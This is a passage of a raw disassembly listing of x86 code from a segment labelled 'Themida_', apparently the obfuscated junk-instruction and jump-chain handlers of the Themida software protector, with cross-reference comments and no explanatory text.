loc_550EBF: ; CODE XREF: Themida_:00550DE5j
xor ebx, 173655F9h
sub ebx, 200EB233h
mov eax, ebx
mov ebx, [esp]
jmp loc_559EC0
; ---------------------------------------------------------------------------
loc_550ED5: ; CODE XREF: Themida_:0056232Ej
push 7F3h
mov [esp], ebp
mov ebp, 4
add esi, ebp
pop ebp
xor esi, [esp]
jmp loc_561E94
; ---------------------------------------------------------------------------
loc_550EED: ; CODE XREF: Themida_:0055456Cj
push dword ptr [esp]
pop ecx
push 51DFh
mov [esp], edi
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
sub ecx, 4
xor ecx, [esp]
jmp loc_5626E1
; ---------------------------------------------------------------------------
loc_550F15: ; CODE XREF: Themida_:00563E11j
pop ebx
sub eax, 64C22ABAh
add eax, edx
add eax, 64C22ABAh
pop edx
xchg eax, [esp]
pop esp
idiv cx
push small 3D44h
mov [esp], dx
jmp loc_56532E
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_559934
; ---------------------------------------------------------------------------
loc_550F3F: ; CODE XREF: Themida_:0055FE48j
mov dl, 6Dh
push edx
mov dl, 3Bh
not dl
sub dl, 1
push eax
push edx
jmp loc_5546B1
; ---------------------------------------------------------------------------
loc_550F50: ; CODE XREF: Themida_:00562EE6j
add esi, ebp
pop ebp
sub eax, esi
pop esi
inc eax
push eax
neg dword ptr [esp]
pop eax
add eax, 0E905B6C7h
mov esi, eax
pop eax
inc esi
push edx
mov edx, 44D1778Eh
inc edx
shr edx, 7
sub esp, 4
mov [esp], ebp
push 39E3h
mov [esp], edi
mov edi, 1C5D5D21h
jmp loc_554D84
; ---------------------------------------------------------------------------
loc_550F8A: ; CODE XREF: Themida_:00561F37j
pop esi
jmp loc_556EB5
; ---------------------------------------------------------------------------
loc_550F90: ; CODE XREF: Themida_:005625AEj
push edx
jmp loc_55170A
; ---------------------------------------------------------------------------
loc_550F96: ; CODE XREF: Themida_:00551D87j
xor ecx, 0E05B94B6h
mov edi, ecx
jmp loc_5577AF
; ---------------------------------------------------------------------------
loc_550FA3: ; CODE XREF: Themida_:005505ECj
push ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
mov ebx, [esp]
push eax
push 0CF2h
mov [esp], esp
jmp loc_562AB8
; ---------------------------------------------------------------------------
loc_550FC7: ; CODE XREF: Themida_:00553F5Bj
add ebp, 68734AC3h
mov edi, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_554514
; ---------------------------------------------------------------------------
loc_550FDF: ; CODE XREF: Themida_:00565127j
add bl, al
push eax
jmp loc_56545D
; ---------------------------------------------------------------------------
loc_550FE7: ; CODE XREF: Themida_:00551BA6j
add edi, 4
xchg edi, [esp]
jmp loc_565ACF
; ---------------------------------------------------------------------------
loc_550FF2: ; CODE XREF: Themida_:0055792Cj
push 7BDh
mov [esp], ebp
mov ebp, 4
add ebx, 1DF07CE8h
push esi
mov esi, 41D212A2h
sub esi, 5A5816EAh
jmp loc_55B897
; ---------------------------------------------------------------------------
loc_551016: ; CODE XREF: Themida_:00551C19j
pop edx
push 1771h
jmp loc_5647E8
; ---------------------------------------------------------------------------
loc_551021: ; CODE XREF: Themida_:00560593j
mov ebx, 437E5359h
jmp loc_55AA0F
; ---------------------------------------------------------------------------
loc_55102B: ; CODE XREF: Themida_:0055A533j
add ebx, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp]
jmp loc_565A87
; ---------------------------------------------------------------------------
loc_551042: ; CODE XREF: Themida_:00556448j
add eax, 1
jmp loc_5591B4
; ---------------------------------------------------------------------------
loc_55104C: ; CODE XREF: Themida_:005529D9j
mov [esp], ebx
mov bl, 76h
push edx
mov dh, 5Ch
add dh, 96h
jmp loc_5507E0
; ---------------------------------------------------------------------------
loc_55105C: ; CODE XREF: Themida_:0055437Fj
mov eax, 7FCD743Ah
push ecx
mov ecx, 262F3F84h
add edi, ecx
mov ecx, [esp]
add esp, 4
sub edi, eax
push ecx
jmp loc_558208
; ---------------------------------------------------------------------------
loc_55107A: ; CODE XREF: Themida_:0055821Fj
shr ah, 3
add ah, 7Bh
add bl, ah
pop eax
jmp loc_55537A
; ---------------------------------------------------------------------------
loc_551088: ; CODE XREF: Themida_:005564A5j
mov edx, esp
add edx, 4
jmp loc_55FE86
; ---------------------------------------------------------------------------
loc_551095: ; CODE XREF: Themida_:005552B2j
sub edi, ebx
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 79521123h
add esi, ecx
pop ecx
jmp loc_55770F
; ---------------------------------------------------------------------------
loc_5510AE: ; CODE XREF: Themida_:0055B0D7j
push 1867h
mov [esp], edx
push eax
push ecx
mov ecx, 7FD725C1h
mov eax, 91FC90D2h
add eax, 13D7254Eh
sub eax, ecx
sub eax, 13D7254Eh
pop ecx
mov edx, 0EDDA9513h
add edx, eax
pop eax
push edi
mov edi, 55EE7C35h
add edx, edi
jmp loc_5511A8
; ---------------------------------------------------------------------------
loc_5510E4: ; CODE XREF: Themida_:00564BFCj
sub ecx, 4
jmp loc_5631B9
; ---------------------------------------------------------------------------
loc_5510EF: ; CODE XREF: Themida_:00561A77j
add eax, 4
add eax, 4
jmp loc_563B83
; ---------------------------------------------------------------------------
loc_5510FC: ; CODE XREF: Themida_:00554962j
pop dword ptr [esp]
pop esp
jmp loc_56277B
; ---------------------------------------------------------------------------
loc_551105: ; CODE XREF: Themida_:005647ADj
pop esp
mov esi, [esp]
jmp loc_554E1F
; ---------------------------------------------------------------------------
loc_55110E: ; CODE XREF: Themida_:00561710j
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp]
pop esp
push esi
jmp loc_55AF17
; ---------------------------------------------------------------------------
loc_551120: ; CODE XREF: Themida_:00565B16j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_55C039
; ---------------------------------------------------------------------------
loc_551131: ; CODE XREF: Themida_:00558F50j
mov [esp], ebx
jmp loc_559C1E
; ---------------------------------------------------------------------------
loc_551139: ; CODE XREF: Themida_:0055B8B3j
pop esi
pop dword ptr [esp]
pop esp
and eax, esi
mov esi, [esp]
jmp loc_55B0B3
; ---------------------------------------------------------------------------
loc_551148: ; CODE XREF: Themida_:0055DA66j
pop eax
sub ebx, 77986D47h
push ebp
mov ebp, 0CA049EA6h
jmp loc_5632C7
; ---------------------------------------------------------------------------
loc_55115A: ; CODE XREF: Themida_:0055065Ej
and bh, 87h
push ecx
mov ch, 1
not ch
jmp loc_565535
; ---------------------------------------------------------------------------
loc_551167: ; CODE XREF: Themida_:0055A1D5j
sub esi, 0BEA510FDh
mov ebx, esi
mov esi, [esp]
add esp, 4
not ebx
shl ebx, 2
neg ebx
push edi
push ecx
jmp loc_56512C
; ---------------------------------------------------------------------------
loc_551183: ; CODE XREF: Themida_:00558EEDj
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
push dword ptr [esp]
pop edx
push 1C17h
mov [esp], eax
mov eax, esp
push edi
jmp loc_554E5B
; ---------------------------------------------------------------------------
loc_5511A8: ; CODE XREF: Themida_:005510DFj
pop edi
add edx, edi
sub edx, 55EE7C35h
push 3D8Dh
jmp loc_55BDF4
; ---------------------------------------------------------------------------
loc_5511BB: ; CODE XREF: Themida_:00553073j
sub edx, 0B99E861Ch
add ecx, edx
pop edx
sub ebx, ecx
jmp loc_55FC31
; ---------------------------------------------------------------------------
loc_5511CB: ; CODE XREF: Themida_:0055957Fj
sub ebp, ecx
pop ecx
sub ebp, 0C3250B29h
jmp loc_55E39B
; ---------------------------------------------------------------------------
loc_5511D9: ; CODE XREF: Themida_:0055B339j
sub edx, 7D7911ECh
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5511E4: ; CODE XREF: Themida_:00559496j
mov [esp], eax
mov eax, 0AD0390Ch
mov edi, 0AD03908h
xor edi, eax
jmp loc_559389
; ---------------------------------------------------------------------------
loc_5511F8: ; CODE XREF: Themida_:00564AE3j
add eax, 4D1D0E44h
add eax, 2D206089h
push dword ptr [esp]
jmp loc_564D88
; ---------------------------------------------------------------------------
loc_55120A: ; CODE XREF: Themida_:00563148j
and edx, 5C5B307Eh
push ecx
mov ecx, esp
jmp loc_5659A9
; ---------------------------------------------------------------------------
loc_551218: ; CODE XREF: Themida_:0055BBC2j
pop edi
jmp loc_560BE1
; ---------------------------------------------------------------------------
loc_55121E: ; CODE XREF: Themida_:005578CEj
sub esi, 75A25212h
add esi, edx
jmp loc_5576E9
; ---------------------------------------------------------------------------
loc_55122B: ; CODE XREF: Themida_:005532E1j
mov esi, 0B612B8Eh
sub edi, esi
pop esi
add edi, esi
jmp loc_55A9B6
; ---------------------------------------------------------------------------
loc_55123A: ; CODE XREF: Themida_:0055897Bj
push ecx
push dword ptr [esp]
pop edi
add esp, 4
mov ecx, [esp]
add esp, 4
not ecx
xchg ecx, edi
and edi, 2B0B09A2h
xchg eax, edi
not eax
xchg eax, edi
push 37F7h
mov [esp], ebx
mov ebx, 63AB0B2Dh
push edx
mov edx, 0F1A7D78h
and ebx, edx
jmp loc_562F57
; ---------------------------------------------------------------------------
loc_551273: ; CODE XREF: Themida_:00561A19j
mov [esp], esi
jmp loc_55AF32
; ---------------------------------------------------------------------------
loc_55127B: ; CODE XREF: Themida_:00556601j
sub dword ptr [esp], 16ED6151h
pop edi
push ecx
mov ecx, 16ED6151h
add edi, ecx
pop ecx
pop ebx
xor edi, 54F1ECF6h
jmp loc_563E79
; ---------------------------------------------------------------------------
loc_551298: ; CODE XREF: Themida_:00564B85j
add esp, 4
add eax, ebx
jmp loc_562935
; ---------------------------------------------------------------------------
loc_5512A2: ; CODE XREF: Themida_:005642E7j
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 5CB21543h
jmp loc_55BE5F
; ---------------------------------------------------------------------------
loc_5512B8: ; CODE XREF: Themida_:00564F74j
sub ebp, eax
pop eax
push ebp
jmp loc_565081
; ---------------------------------------------------------------------------
loc_5512C1: ; CODE XREF: Themida_:005520C0j
pop esi
jmp loc_5542F3
; ---------------------------------------------------------------------------
loc_5512C7: ; CODE XREF: Themida_:0055087Fj
mov edx, 21991B8Bh
xor edx, 0DC2118Eh
sub edx, 2C5B0A01h
jmp loc_5640D9
; ---------------------------------------------------------------------------
loc_5512DD: ; CODE XREF: Themida_:00563D26j
mov eax, 2CAE51BBh
push 0
sub [esp], eax
jmp loc_5549A7
; ---------------------------------------------------------------------------
loc_5512EF: ; CODE XREF: Themida_:0055E13Aj
add eax, 150877A9h
add eax, 0AE544Dh
jmp loc_552134
; ---------------------------------------------------------------------------
loc_5512FE: ; CODE XREF: Themida_:005537E9j
add esp, 4
xchg ebx, [esp]
jmp loc_558F88
; ---------------------------------------------------------------------------
loc_551309: ; CODE XREF: Themida_:00565782j
mov esi, [esp]
jmp loc_55CAC0
; ---------------------------------------------------------------------------
loc_551311: ; CODE XREF: Themida_:00551879j
sub ax, bx
jmp loc_5650F9
; ---------------------------------------------------------------------------
lodsb
sub al, 0F1h
jmp loc_556B27
; ---------------------------------------------------------------------------
loc_551321: ; CODE XREF: Themida_:00556333j
sub esp, 4
jmp loc_553EDE
; ---------------------------------------------------------------------------
loc_551329: ; CODE XREF: Themida_:00553880j
sub esp, 4
mov [esp], edx
jmp loc_55DE4F
; ---------------------------------------------------------------------------
loc_551334: ; CODE XREF: Themida_:00562B74j
mov ecx, 850014h
jmp loc_552BA8
; ---------------------------------------------------------------------------
loc_55133E: ; CODE XREF: Themida_:00564BC8j
mov eax, [ebx]
push dword ptr [esp]
jmp loc_55A985
; ---------------------------------------------------------------------------
loc_551348: ; CODE XREF: Themida_:0055493Aj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55134D: ; CODE XREF: Themida_:00558165j
mov ebp, [esp]
jmp loc_55243D
; ---------------------------------------------------------------------------
loc_551355: ; CODE XREF: Themida_:00550C48j
xor ebp, 14F27603h
jmp loc_55AFB6
; ---------------------------------------------------------------------------
loc_551360: ; CODE XREF: Themida_:00553FDDj
inc ebx
sub ebx, 65686581h
xor ebx, 0A0C70226h
add edx, ebx
pop ebx
push 7F20h
mov [esp], ecx
mov ecx, 4
add edx, ecx
pop ecx
push 6C43h
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_55D141
; ---------------------------------------------------------------------------
loc_551392: ; CODE XREF: Themida_:0055F720j
mov edx, 25592533h
add eax, edx
pop edx
pop ebp
push 2A9Ah
mov [esp], ecx
push ebp
mov ebp, 76701FD1h
dec ebp
jmp loc_565A2D
; ---------------------------------------------------------------------------
loc_5513AF: ; CODE XREF: Themida_:005586F8j
push ebp
push dword ptr [esp]
jmp loc_55AEBB
; ---------------------------------------------------------------------------
loc_5513B8: ; CODE XREF: Themida_:0055BA96j
add word ptr [esp+2], 14A1h
push ax
jmp loc_564BAD
; ---------------------------------------------------------------------------
loc_5513C6: ; CODE XREF: Themida_:00564422j
inc al
or al, 53h
jmp loc_56309A
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5513D7: ; CODE XREF: Themida_:005559BEj
push ecx
push edi
mov edi, 6C82563Fh
mov ecx, edi
push dword ptr [esp]
jmp loc_5518F6
; ---------------------------------------------------------------------------
loc_5513E8: ; CODE XREF: Themida_:0055B668j
xchg edi, [esp]
pop esp
jmp loc_561736
; ---------------------------------------------------------------------------
loc_5513F1: ; CODE XREF: Themida_:00558118j
mov [esp], eax
mov eax, esp
push edi
jmp loc_553D4A
; ---------------------------------------------------------------------------
loc_5513FC: ; CODE XREF: Themida_:0055CA4Cj
add edx, 4833190Dh
xor edx, 70517253h
add edx, 320D6E49h
add edx, 0B71AF9B4h
sub ecx, edx
pop edx
add ecx, eax
push edx
mov edx, 81A5B1Dh
add ecx, edx
pop edx
pop eax
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, 4
push ecx
mov ecx, 343C6FD3h
jmp loc_552291
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6C5Bh
mov [esp], edx
sub esp, 4
jmp loc_551623
; ---------------------------------------------------------------------------
loc_551454: ; CODE XREF: Themida_:0056442Ej
pop esi
add eax, 1397464Ah
jmp loc_563B74
; ---------------------------------------------------------------------------
loc_55145F: ; CODE XREF: Themida_:005557C5j
pop edx
push esi
sub esp, 4
mov [esp], edx
mov edx, 0F620990h
sub esp, 4
mov [esp], edx
not dword ptr [esp]
pop edx
neg edx
sub esp, 4
jmp loc_556C00
; ---------------------------------------------------------------------------
loc_551483: ; CODE XREF: Themida_:0055220Fj
push esp
pop dword ptr [esp]
push 7EA2h
jmp loc_5504E6
; ---------------------------------------------------------------------------
loc_551491: ; CODE XREF: Themida_:0055EB7Bj
mov ecx, 67E82E50h
add ecx, 0BF98504Dh
add ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55A023
; ---------------------------------------------------------------------------
loc_5514A9: ; CODE XREF: Themida_:00553E52j
pop edi
sub ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5537EE
; ---------------------------------------------------------------------------
loc_5514BA: ; CODE XREF: Themida_:0055DC48j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5514BF: ; CODE XREF: Themida_:00552D50j
add ebx, 49935F38h
pop esi
add ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
shr eax, 10h
xor eax, ecx
xor eax, ecx
jmp loc_55EDD6
; ---------------------------------------------------------------------------
loc_5514E6: ; CODE XREF: Themida_:0055DE4Aj
pop eax
jmp loc_56189F
; ---------------------------------------------------------------------------
loc_5514EC: ; CODE XREF: Themida_:00552ADEj
add esp, 4
sub ch, ah
push dword ptr [esp]
pop eax
push eax
jmp loc_55683F
; ---------------------------------------------------------------------------
loc_5514FE: ; CODE XREF: Themida_:00554524j
not dl
not dl
or dl, 55h
add dl, 10h
jmp loc_55A9C3
; ---------------------------------------------------------------------------
loc_55150D: ; CODE XREF: Themida_:0055E327j
add eax, 3DBE2BBFh
xor eax, 657B55C4h
jmp loc_55F40A
; ---------------------------------------------------------------------------
loc_55151C: ; CODE XREF: Themida_:00561B97j
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_55B9EB
; ---------------------------------------------------------------------------
loc_551527: ; CODE XREF: Themida_:0055F214j
add esi, ecx
pop ecx
xor esi, 0EE6F2305h
sub ebp, esi
pop esi
mov esi, ebp
pop ebp
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
jmp loc_563B5A
; ---------------------------------------------------------------------------
loc_551544: ; CODE XREF: Themida_:00552601j
xor edx, [esp]
pop esp
push edi
jmp loc_553E88
; ---------------------------------------------------------------------------
loc_55154E: ; CODE XREF: Themida_:0055B6EAj
mov edi, 14AB181Ah
xor edi, 44CB4B5Eh
mov eax, edi
pop edi
xor eax, ebx
xor ebx, eax
xor eax, ebx
push ebx
not dword ptr [esp]
pop ebx
xchg eax, ebx
push edi
push edx
push eax
jmp loc_557824
; ---------------------------------------------------------------------------
loc_551570: ; CODE XREF: Themida_:00559138j
push 17B7h
mov [esp], eax
mov eax, 13E95273h
jmp loc_555CD5
; ---------------------------------------------------------------------------
loc_551582: ; CODE XREF: Themida_:00556573j
mov eax, [esp]
jmp loc_553083
; ---------------------------------------------------------------------------
loc_55158A: ; CODE XREF: Themida_:00559E4Fj
xchg edi, [esp]
pop esp
mov [esp], eax
push ecx
mov ecx, 1EC033B2h
push 33CAh
mov [esp], edx
mov edx, 439C5E06h
sub edx, 0E670792h
xor ecx, edx
pop edx
neg ecx
jmp loc_55E379
; ---------------------------------------------------------------------------
loc_5515B4: ; CODE XREF: Themida_:00553D4Fj
add eax, edi
pop edi
sub esp, 4
mov [esp], edi
mov edi, 4
sub eax, edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_558552
; ---------------------------------------------------------------------------
loc_5515D2: ; CODE XREF: Themida_:00558406j
mov ebx, 65486DA1h
sub esp, 4
mov [esp], eax
mov eax, 26071817h
sub eax, 1630810h
xor eax, 6F274A17h
push edi
mov edi, 19BE4B90h
and edi, 74FC4B14h
or edi, 0FA66F7Eh
sub edi, 1
not edi
add edi, 6F40EC05h
jmp loc_562BC4
; ---------------------------------------------------------------------------
loc_55160E: ; CODE XREF: Themida_:00561B4Aj
pop ebp
add ebx, eax
add [ebx], ecx
pop ebx
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_550DD7
; ---------------------------------------------------------------------------
loc_551623: ; CODE XREF: Themida_:0055144Fj
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 59B6h
mov [esp], ebx
jmp loc_55498E
; ---------------------------------------------------------------------------
loc_551638: ; CODE XREF: Themida_:0055F3E3j
add ch, 58h
sub al, ch
pop cx
add al, bl
push edx
push 12A3h
jmp loc_563B69
; ---------------------------------------------------------------------------
loc_55164C: ; CODE XREF: Themida_:0055A6B3j
pop edx
add ebx, 2E776209h
push eax
mov eax, 7EB73787h
jmp loc_5625EB
; ---------------------------------------------------------------------------
loc_55165E: ; CODE XREF: Themida_:00551A81j
sub dh, 53h
add bl, dh
jmp loc_56390C
; ---------------------------------------------------------------------------
loc_551668: ; CODE XREF: Themida_:00553B3Ej
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55167D: ; CODE XREF: Themida_:00562743j
not ebx
add ebx, 180942BAh
jmp loc_561279
; ---------------------------------------------------------------------------
loc_55168A: ; CODE XREF: Themida_:00552CDEj
mov [edi+eax*4+1], dh
jmp loc_556CE1
; ---------------------------------------------------------------------------
loc_551693: ; CODE XREF: Themida_:00558A89j
mov ebp, 0E90B041Bh
sub ecx, ebp
jmp loc_558C1A
; ---------------------------------------------------------------------------
loc_55169F: ; CODE XREF: Themida_:00555BF9j
xchg edi, [esp]
pop esp
push esp
pop dword ptr [esp]
push 7158h
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], ecx
mov ecx, 27A16653h
mov edi, 27A16657h
sub edi, ecx
pop ecx
add [esp+4], edi
push dword ptr [esp]
pop edi
add esp, 4
pop ebp
add ebp, 4
push edi
mov edi, 2
push edi
mov edi, 3E0E3FB1h
inc edi
or edi, 602407D2h
sub edi, 9C8CA0Eh
add ebp, edi
pop edi
jmp loc_5526B1
; ---------------------------------------------------------------------------
loc_55170A: ; CODE XREF: Themida_:00550F91j
mov edx, 6AD2302h
jmp loc_562C2A
; ---------------------------------------------------------------------------
loc_551714: ; CODE XREF: Themida_:00563309j
pop ecx
sub esp, 2
mov [esp], dx
push ecx
mov cl, 9Ch
sub esp, 4
mov [esp], eax
jmp loc_55E5D4
; ---------------------------------------------------------------------------
loc_55172A: ; CODE XREF: Themida_:00562E97j
add eax, 4
jmp loc_563625
; ---------------------------------------------------------------------------
loc_551732: ; CODE XREF: Themida_:0055931Dj
mov ah, 80h
mov cl, 0FFh
push ax
push edx
push ebx
jmp loc_55C48D
; ---------------------------------------------------------------------------
loc_55173F: ; CODE XREF: Themida_:0055879Ej
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 2DEEh
mov [esp], edx
push esi
jmp loc_55EE84
; ---------------------------------------------------------------------------
loc_551758: ; CODE XREF: Themida_:00555133j
sub edx, 7050C95h
sub esp, 4
jmp loc_557C73
; ---------------------------------------------------------------------------
loc_551766: ; CODE XREF: Themida_:00552073j
sub ebx, 28FF46ACh
jmp loc_5528BF
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_55CFF3
; ---------------------------------------------------------------------------
loc_5517A0: ; CODE XREF: Themida_:00552C71j
and esi, 21E864CCh
or esi, 0BBA2A86h
sub esi, 218E583Bh
shl esi, 6
sub esi, 2FB628AEh
sub eax, esi
pop esi
jmp loc_55A04F
; ---------------------------------------------------------------------------
loc_5517C3: ; CODE XREF: Themida_:00551F8Ej
push ecx
mov ecx, esp
add ecx, 4
jmp loc_564DF3
; ---------------------------------------------------------------------------
loc_5517D1: ; CODE XREF: Themida_:0055AB73j
push ebx
mov ebx, 2D206089h
jmp loc_5532AD
; ---------------------------------------------------------------------------
loc_5517DC: ; CODE XREF: Themida_:005558E0j
push 6430h
mov [esp], ebx
jmp loc_55363D
; ---------------------------------------------------------------------------
loc_5517E9: ; CODE XREF: Themida_:0056546Bj
neg al
inc al
xor al, 71h
xor al, 2Ch
xor cl, al
pop ax
add cl, 9Bh
push ebx
mov bh, cl
mov al, bh
jmp loc_562BBB
; ---------------------------------------------------------------------------
loc_551802: ; CODE XREF: Themida_:00554583j
pop esp
push eax
jmp loc_560A48
; ---------------------------------------------------------------------------
loc_551809: ; CODE XREF: Themida_:005619D2j
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
add esp, 4
jmp loc_554E01
; ---------------------------------------------------------------------------
loc_55181E: ; CODE XREF: Themida_:005560B8j
push edx
mov dl, 18h
mov bl, dl
mov edx, [esp]
add esp, 4
jmp loc_555F1A
; ---------------------------------------------------------------------------
loc_551831: ; CODE XREF: Themida_:00554F8Aj
not ebp
jmp loc_55F1C9
; ---------------------------------------------------------------------------
loc_551838: ; CODE XREF: Themida_:00563797j
xor eax, 257B3A5Eh
jmp loc_55BC31
; ---------------------------------------------------------------------------
loc_551842: ; CODE XREF: Themida_:005637B2j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
jmp loc_55BC39
; ---------------------------------------------------------------------------
loc_551857: ; CODE XREF: Themida_:0055B72Aj
inc esi
shl esi, 1
or esi, 577A3D59h
neg esi
add esi, 0FD27F673h
sub eax, esi
jmp loc_55BA9B
; ---------------------------------------------------------------------------
lodsw
add ax, 3F6Dh
sub ax, 58B1h
jmp loc_551311
; ---------------------------------------------------------------------------
loc_55187E: ; CODE XREF: Themida_:00559808j
push dword ptr [edi+eax*4]
push eax
jmp loc_55C23A
; ---------------------------------------------------------------------------
loc_551887: ; CODE XREF: Themida_:0055E5B2j
push edx
push eax
mov ah, 0D2h
mov dh, ah
jmp loc_55A52D
; ---------------------------------------------------------------------------
loc_551892: ; CODE XREF: Themida_:00557FD3j
mov edx, 12DE6888h
add edx, 73FC4073h
sub edx, 2B573A75h
jmp loc_55B006
; ---------------------------------------------------------------------------
loc_5518A8: ; CODE XREF: Themida_:0055CD04j
add eax, ebx
pop ebx
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
push edx
jmp loc_561788
; ---------------------------------------------------------------------------
loc_5518C8: ; CODE XREF: Themida_:0055AA46j
xor ah, 4Fh
xor ah, 0AEh
push edx
push ecx
mov ch, ah
mov dh, ch
mov ecx, [esp]
add esp, 4
mov bh, dh
mov edx, [esp]
jmp loc_5605E7
; ---------------------------------------------------------------------------
loc_5518E4: ; CODE XREF: Themida_:00557356j
push 3E84h
mov [esp], ebx
mov ebx, 0
jmp loc_55FC82
; ---------------------------------------------------------------------------
loc_5518F6: ; CODE XREF: Themida_:005513E3j
pop edi
jmp loc_56371E
; ---------------------------------------------------------------------------
loc_5518FC: ; CODE XREF: Themida_:0055908Cj
add eax, 4
xchg eax, [esp]
pop esp
sub ebx, 2C28000Ah
sub ebx, 7E882450h
push 43CFh
jmp loc_5608C6
; ---------------------------------------------------------------------------
loc_551919: ; CODE XREF: Themida_:00555F85j
pop ecx
inc edx
push ebx
mov ebx, 5EEC4002h
not ebx
not ebx
jmp loc_55A790
; ---------------------------------------------------------------------------
loc_55192A: ; CODE XREF: Themida_:0055C5E9j
push ecx
mov ch, bh
mov dl, ch
pop ecx
mov ebx, [esp]
jmp loc_5538FF
; ---------------------------------------------------------------------------
loc_551938: ; CODE XREF: Themida_:00553C8Fj
pop dword ptr [esp]
jmp loc_5637A6
; ---------------------------------------------------------------------------
loc_551940: ; CODE XREF: Themida_:005639AEj
add ebp, 264D1577h
pop edx
sub ebp, 0C93D688Ah
push 4062h
mov [esp], ebp
jmp loc_564369
; ---------------------------------------------------------------------------
loc_55195A: ; CODE XREF: Themida_:00551B73j
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
jmp loc_5542DB
; ---------------------------------------------------------------------------
loc_55196E: ; CODE XREF: Themida_:00551A03j
add ebx, 40212164h
jmp loc_55AF69
; ---------------------------------------------------------------------------
loc_551979: ; CODE XREF: Themida_:0055A709j
xchg esi, [esp]
jmp loc_55AB41
; ---------------------------------------------------------------------------
loc_551981: ; CODE XREF: Themida_:0055FE19j
push ebp
mov ebp, 29276B6Ch
sub ebp, 18EC0C1Bh
sub ebp, 73C32D27h
inc ebp
sub ebp, 99A3E17Eh
add ebx, ebp
mov ebp, [esp]
add esp, 4
add ebx, eax
sub ebx, 2D450ADh
push edi
push 6E74h
jmp loc_55962F
; ---------------------------------------------------------------------------
loc_5519B8: ; CODE XREF: Themida_:0055C4AAj
xor dh, 0CDh
jmp loc_55EF0F
; ---------------------------------------------------------------------------
loc_5519C0: ; CODE XREF: Themida_:00561201j
mov edx, [esp]
add esp, 4
push 7E80h
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, ecx
mov ebx, edi
jmp loc_55E2B6
; ---------------------------------------------------------------------------
loc_5519E9: ; CODE XREF: Themida_:0055939Bj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5519EE: ; CODE XREF: Themida_:0055D5F7j
mov ecx, esp
push eax
jmp loc_55EAD3
; ---------------------------------------------------------------------------
loc_5519F6: ; CODE XREF: Themida_:005563DFj
mov esp, [esp]
mov fs:[edx], al
jmp loc_550420
; ---------------------------------------------------------------------------
loc_551A01: ; CODE XREF: Themida_:00550AB4j
sub ebx, ebp
jmp loc_55196E
; ---------------------------------------------------------------------------
loc_551A08: ; CODE XREF: Themida_:005594C3j
push dword ptr [esp+4]
jmp loc_56417C
; ---------------------------------------------------------------------------
loc_551A11: ; CODE XREF: Themida_:005602D7j
sub ebp, 43673EAEh
xor ebp, 9BE6ED30h
sub esi, 41E62B83h
add esi, ebp
add esi, 41E62B83h
mov ebp, [esp]
add esp, 4
sub esi, 1810F874h
mov edi, 1E47EE45h
push ebp
mov ebp, 5BB202EEh
add edi, ebp
pop ebp
jmp loc_5545B3
; ---------------------------------------------------------------------------
loc_551A4A: ; CODE XREF: Themida_:00553191j
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5504BE
; ---------------------------------------------------------------------------
loc_551A69: ; CODE XREF: Themida_:00564182j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_551A78: ; CODE XREF: Themida_:0055B882j
xor dh, al
pop ax
sub dh, 0CFh
dec dh
jmp loc_55165E
; ---------------------------------------------------------------------------
loc_551A86: ; CODE XREF: Themida_:00550A99j
mov eax, ecx
pop ecx
shl eax, 4
or eax, 7B873ACAh
push edx
mov edx, 37AF21ABh
or eax, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_55FF02
; ---------------------------------------------------------------------------
loc_551AA8: ; CODE XREF: Themida_:00557E69j
sub ebx, ebp
mov ebp, ebx
pop ebx
and ebp, 5B567E58h
xor ebp, 37FF38C6h
add ebx, ebp
pop ebp
dec ebx
push esi
mov esi, 0B0E4FF1h
